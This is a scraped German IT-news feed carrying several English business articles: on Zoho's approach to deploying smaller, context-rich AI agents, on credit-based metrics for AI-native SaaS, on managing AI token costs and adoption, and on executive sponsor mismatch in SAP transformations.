<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
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<title><![CDATA[The new value architecture of the AI-native SaaS era]]></title>
<description><![CDATA[The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.



In brief:




AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.



Smart companies are evolving new metrics that provide deep...]]></description>
<link>https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.</p>



<p class="wp-block-paragraph">In brief:</p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4146669/is-ai-the-end-of-saas-as-we-know-it.html">AI is transforming software as a service (SaaS)</a>, and the old ways of keeping score no longer apply.</li>



<li>Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.</li>



<li>These changes impact everything from pricing to valuations.</li>
</ul>



<p class="wp-block-paragraph">The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.</p>



<p class="wp-block-paragraph">The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.</p>



<p class="wp-block-paragraph">While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">credit-centric metrics framework</a>, with seats and outcomes as the bookends of a spectrum.</p>



<h2 class="wp-block-heading">Why do software companies need new metrics?</h2>



<p class="wp-block-paragraph">Why the rethink, and why now? There are five major forces that are driving this shift:</p>



<ol start="1" class="wp-block-list">
<li><a href="https://www.idc.com/resource-center/blog/is-saas-dead-rethinking-the-future-of-software-in-the-age-of-ai/"><strong>The unit of value is changing</strong></a><strong>.</strong> Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.</li>



<li><strong>The cost of goods sold (COGS) is exploding.</strong> AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.</li>



<li><strong>Buying is moving up the org chart.</strong> AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.</li>



<li><strong>Time to value (TTV) is collapsing.</strong> With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.</li>



<li><strong>Retention is bifurcating.</strong> AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.</li>
</ol>



<h2 class="wp-block-heading">How this shift is impacting pricing</h2>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_us/insights/strategy/grow-with-trusted-software-portfolio-management">Given how AI-native software is transforming the market</a>, the shift to more variable pricing options is inevitable.</p>



<p class="wp-block-paragraph">Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.</p>



<p class="wp-block-paragraph">Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.</p>



<p class="wp-block-paragraph">Finally, the industry will likely see <a href="https://www.gartner.com/en/newsroom/press-releases/2026-07-01-gartner-says-us-dollars-234-billion-in-enterprise-application-software-spend-is-at-risk-from-agentic-artificial-intelligence">some move toward outcome-based pricing</a> for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.</p>



<p class="wp-block-paragraph">Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.</p>



<h2 class="wp-block-heading">How AI upends classic SaaS metrics</h2>



<p class="wp-block-paragraph">When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?</p>



<p class="wp-block-paragraph">But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:</p>



<h3 class="wp-block-heading">Revenue composition</h3>



<ul class="wp-block-list">
<li>Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.</li>



<li>Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.</li>



<li>Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.</li>



<li>Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.</li>
</ul>



<h3 class="wp-block-heading">Margin reality</h3>



<ul class="wp-block-list">
<li>Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.</li>



<li>Inference-adjusted gross margin: By carving out AI inference costs separately in the P&amp;L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.</li>



<li>Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.</li>



<li>AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.</li>
</ul>



<h3 class="wp-block-heading">Behavioral and value signals</h3>



<ul class="wp-block-list">
<li>Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.</li>



<li>Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.</li>



<li>Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.</li>
</ul>



<p class="wp-block-paragraph">Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.</p>



<h2 class="wp-block-heading">What does this mean for enterprise value calculations?</h2>



<p class="wp-block-paragraph">As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.</p>



<p class="wp-block-paragraph">Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.</p>



<p class="wp-block-paragraph">For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.</p>



<p class="wp-block-paragraph">In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.</p>



<p class="wp-block-paragraph">We’re also seeing an inversion of the operating model, with R&amp;D and COGS moving up the P&amp;L and sales and marketing (S&amp;M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.</p>



<p class="wp-block-paragraph">Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.</p>



<h2 class="wp-block-heading">What this means for leaders, boards and investors</h2>



<p class="wp-block-paragraph">The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.</p>



<p class="wp-block-paragraph">While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.</p>



<p class="wp-block-paragraph">It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.</p>



<p class="wp-block-paragraph"><em>The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst &amp; Young LLP or other members of the global EY organization.</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]></title>
<description><![CDATA[I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has ...]]></description>
<link>https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.</p>



<p class="wp-block-paragraph">The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.</p>



<h2 class="wp-block-heading"><a></a>AI as a leadership multiplier</h2>



<p class="wp-block-paragraph">The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.</p>



<p class="wp-block-paragraph">When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”</p>



<p class="wp-block-paragraph">Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.</p>



<p class="wp-block-paragraph">Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.</p>



<p class="wp-block-paragraph">When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.</p>



<p class="wp-block-paragraph">The requirement for top-down, executive ownership stems from three critical realities observed in the field:</p>



<ul class="wp-block-list">
<li><strong>Silo-smashing and data collaboration:</strong> True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.</li>



<li><strong>Cultural transformation and fear mitigation:</strong> AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.</li>



<li><strong>C-Suite education and strategic alignment:</strong> The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.pwc.com/gx/en/issues/c-suite-insights/ceo-survey.html">PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI</a>. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across <em>strategic decision-making and cross-functional workflows</em>. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.</p>



<h2 class="wp-block-heading"><a></a>AI as a new operational framework</h2>



<p class="wp-block-paragraph">Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.</p>



<p class="wp-block-paragraph">AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.</p>



<p class="wp-block-paragraph">Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.</p>



<p class="wp-block-paragraph">In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.</p>



<p class="wp-block-paragraph">To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, <a href="https://arxiv.org/pdf/2604.22750">your business is billed dynamically based on the exact volume of tokens consumed</a> by every query submitted (input) and every response generated (output).</p>



<p class="wp-block-paragraph">Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.</p>



<p class="wp-block-paragraph">The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.</p>



<h2 class="wp-block-heading">Risks in the AI adoption model</h2>



<p class="wp-block-paragraph">Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).</p>



<p class="wp-block-paragraph">I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. <a href="https://www.bain.com/insights/your-ai-budget-is-growing-your-returns-arent-heres-why/">Bain &amp; Company’s global Automation and AI Pathfinder Survey </a>found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.</p>



<p class="wp-block-paragraph">Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.</p>



<p class="wp-block-paragraph">Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from <em>“How much money will AI save us?”</em> to <em>“How will we leverage AI to exponentially increase the long-term value of our enterprise?”</em></p>



<p class="wp-block-paragraph">Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.</p>



<p class="wp-block-paragraph">As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]></title>
<description><![CDATA[Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordin...]]></description>
<link>https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.</p>



<p class="wp-block-paragraph">The questions were not coming from the delivery teams. They were coming from the executive sponsor.</p>



<p class="wp-block-paragraph">The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.</p>



<p class="wp-block-paragraph">This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.</p>



<p class="wp-block-paragraph">Most program failures are not execution failures. They are sponsor mismatches.</p>



<h2 class="wp-block-heading">When governance becomes a debate about delivery practices</h2>



<p class="wp-block-paragraph">When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.</p>



<p class="wp-block-paragraph">You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.</p>



<p class="wp-block-paragraph">None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.</p>



<p class="wp-block-paragraph">When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.</p>



<p class="wp-block-paragraph">The compounding cost is not unique to any single program. <a href="https://www.pmi.org/blog/why-executive-sponsorship-fuels-projects">PMI’s research on executive sponsorship</a> consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.</p>



<h2 class="wp-block-heading">Authority is rarely the issue. Literacy is</h2>



<p class="wp-block-paragraph">When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?</p>



<p class="wp-block-paragraph">In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.</p>



<p class="wp-block-paragraph">This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.</p>



<p class="wp-block-paragraph"><a href="https://hbr.org/2015/05/how-to-be-an-effective-executive-sponsor">Harvard Business Review’s research on effective executive sponsorship</a> has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.</p>



<p class="wp-block-paragraph"><a href="https://www.prosci.com/resources/articles/change-management-best-practices">Prosci’s longstanding benchmark studies on change management</a> have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.</p>



<h2 class="wp-block-heading">Shift the conversation from delivery practices to business risk</h2>



<p class="wp-block-paragraph">When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.</p>



<p class="wp-block-paragraph">On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.</p>



<p class="wp-block-paragraph">The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.</p>



<p class="wp-block-paragraph">This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.</p>



<p class="wp-block-paragraph">In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.</p>



<p class="wp-block-paragraph">The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.</p>



<p class="wp-block-paragraph">There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:</p>



<h2 class="wp-block-heading">If the decision has to go above the sponsor, they are not the sponsor.</h2>



